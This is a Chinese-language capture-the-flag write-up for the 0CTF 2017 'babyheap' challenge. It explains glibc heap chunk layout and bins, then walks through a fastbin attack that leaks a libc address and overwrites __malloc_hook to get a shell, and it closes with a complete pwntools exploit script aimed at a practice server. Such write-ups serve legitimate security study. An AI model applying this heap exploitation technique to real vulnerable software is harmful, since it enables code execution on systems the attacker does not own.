babyheap_0ctf_2017

babyheap_0ctf_2017

堆溢出

# malloc_chunk 的结构

参考文章:https://blog.csdn.net/weixin_43847969/article/details/104897249

pre_size:

这个参数分两种情况,一种情况记录大小,一种情况记录数据
当前一个 chunk 的状态是空闲时记录大小(也就是被 free 的时候),
当前一个 chunk 的状态不是空闲的时候,记录它的数据。
然后是

size:

就是这个 chunk 的大小,size 的最后 3 个比特位对大小没有影响,但是要表示了一些东西
分别是 non_main_arena : 记录当前 chunk 是否属于主线程
is_mapped:当前 chunk 是否由 mmap 分配
prev_inuse:记录前一个 chunk 是否被分配(这个最重要,因为我们当这个参数为 0 时,我们能够通过它获得上一个 chunk 的大小和地址)

fd,bk:

表示用户数据,或者表示地址
chunk 非空闲时,fd 和 bk 存在的地方表示的是用户的数据,
chunk 空闲时,fd 存储下一个空闲的 chunk,bk 指向上一个空闲的 chunk,这个非物理相邻表示的意思是,这个上一个和下一个表示的是被 free 的顺序,而不是地址上的相邻。

# chunk 的结构

在这里插入图片描述

第一个是 size of previous(前一个 chunk 的大小,如果前一个 chunk 空闲的话)
第二个 size of chunk 当前 chunk 的大小,然后再末尾有 3 个比特位 amp 分别代表上面介绍过的 3 个参数
第三个就是存储数据的部分
然后就到了下一个 chunk (next_chunk),我们把这个 next_chunk 称为 chunk2, 上面的 chunk 称为 chunk1,可以看到如果 chunk1 正在使用的话,那么 chunk 的头部位置,也就是 prev_size,会被 chunk1 使用
然后 chunk2 的第二行的后三个比特位也分别是 A01,A 代表着是否属于主线程(这里我们不知道所以用 A 代替),0 代表着当前 chunk 不是由 mmap 分配,1 代表着前一个 chunk 已经被分配。

chunk 被 free 后结构变化:

在这里插入图片描述

第一行,没变化,因为它是 chunk1
第二行开始,M 的位置变成了 0,代表着 chunk 不是由 mmap 分配
第三行开始,原本存储数据的部分变成了 forward pointer to next chunk in list
也就是 fd,前面已经介绍过了,这个地方如果被使用的时候是数据,如果被 free 了,那么就存储的是下一个空闲的 chunk,下面的 back pointer to previous chunk in list(bk)同理.
然后就到了 unused space,(maybe 0 bytes long),没有使用过的空间,这时候应该被收集到各种 bin 中去。
然后就到了 chunk2, 第一行记录当前 chunk 的大小,(并且不会被前一个 chunk 占用)
第二行记录前一个 chunk 的大小,并且末尾三位变成了 A00,(这时候如果这个是堆中第一个被分配的 chunk 的话我们能通过 prev_size 字段获取上一个 chunk 的大小以及地址。)
在这里插入图片描述

chunk 的空间复用:

在这里插入图片描述

# bin 及分类

在这里插入图片描述

# fast bins

在这里插入图片描述

# small bins

# large bins

# unsorted bins

未被分类,刚被 free 未真的进入 bin

Top Chunk

在这里插入图片描述

# babyheap_0ctf_2017

考点: fastbin attack

# 利用思路

两次 double free 与 fastbin attack 。
第一次先泄露 libc 地址,然后找到构造 fake chunk 的地址。
第二次通过构造的 fake chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

# 利用过程

1、通过 unsortedbin attack 来泄露 libc 地址

首先应该记住这样一条规律:当 small chunk 被释放时,它的 fd、bk 指向一个指针,这个指针指向 top chunk 地址,这个指针保存在 main_arena 的 0x58 偏移处,而 main_arena 是 libc 的 data 段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出 libc 的基地址了,所以重点是当 small chunk 释放时,能读出 fd 或者 bk 的值

我首先通过如下重叠两个块来泄漏 libc 的地址(也是常见的攻击)。
在这里插入图片描述

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

from pwn import *

e = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn',29370)
# p = process('./babyheap')
p.readuntil('Command:')
context(log_level='debug')
def alloc(a):
p.writeline('1')
p.readuntil('Size:')
p.writeline(str(a))
#p.readuntil('Command:')
def update(a,b,c):
p.writeline('2')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Size:')
p.writeline(str(b))
p.readuntil('Content:')
p.write(c)
p.readuntil('Command:')
def dele(a):
p.writeline('3')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Command:')

def show(a):
p.writeline('4')
p.readuntil('Index:')
p.writeline(str(a))

alloc(0x18) #0
alloc(0x18) #1
alloc(0x68) #2
alloc(0x68) #3

update(0, 0x20, 'a'*0x18+p64(0x91)) #size1+size2
dele(1) #1 #free1
alloc(0x18) #alloc1
show(2) #fd, bk at alloc2
#gdb.attach(p)

libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4b78
log.info(hex(libcbase))
malloc_hook = libcbase + 0x3c4aed
log.info(hex(malloc_hook))
one = libcbase + 0x4526a

dele(2) #free2
#gdb.attach(p)
update(1, 0x28, 'a'*0x18+p64(0x71)+p64(malloc_hook)) #fd at 2->malloc_hook
#gdb.attach(p)

alloc(0x68) #2
#gdb.attach(p)
alloc(0x68) #4 at malloc_hook
#gdb.attach(p)

update(4, 0x1b, p8(2)*3+p64(2)*2+p64(one))
#gdb.attach(p)
alloc(255)

p.interactive()
Author

y1seco

Posted on

2021-11-15

Updated on

2021-12-25

Licensed under

Comments

:D 一言句子获取中...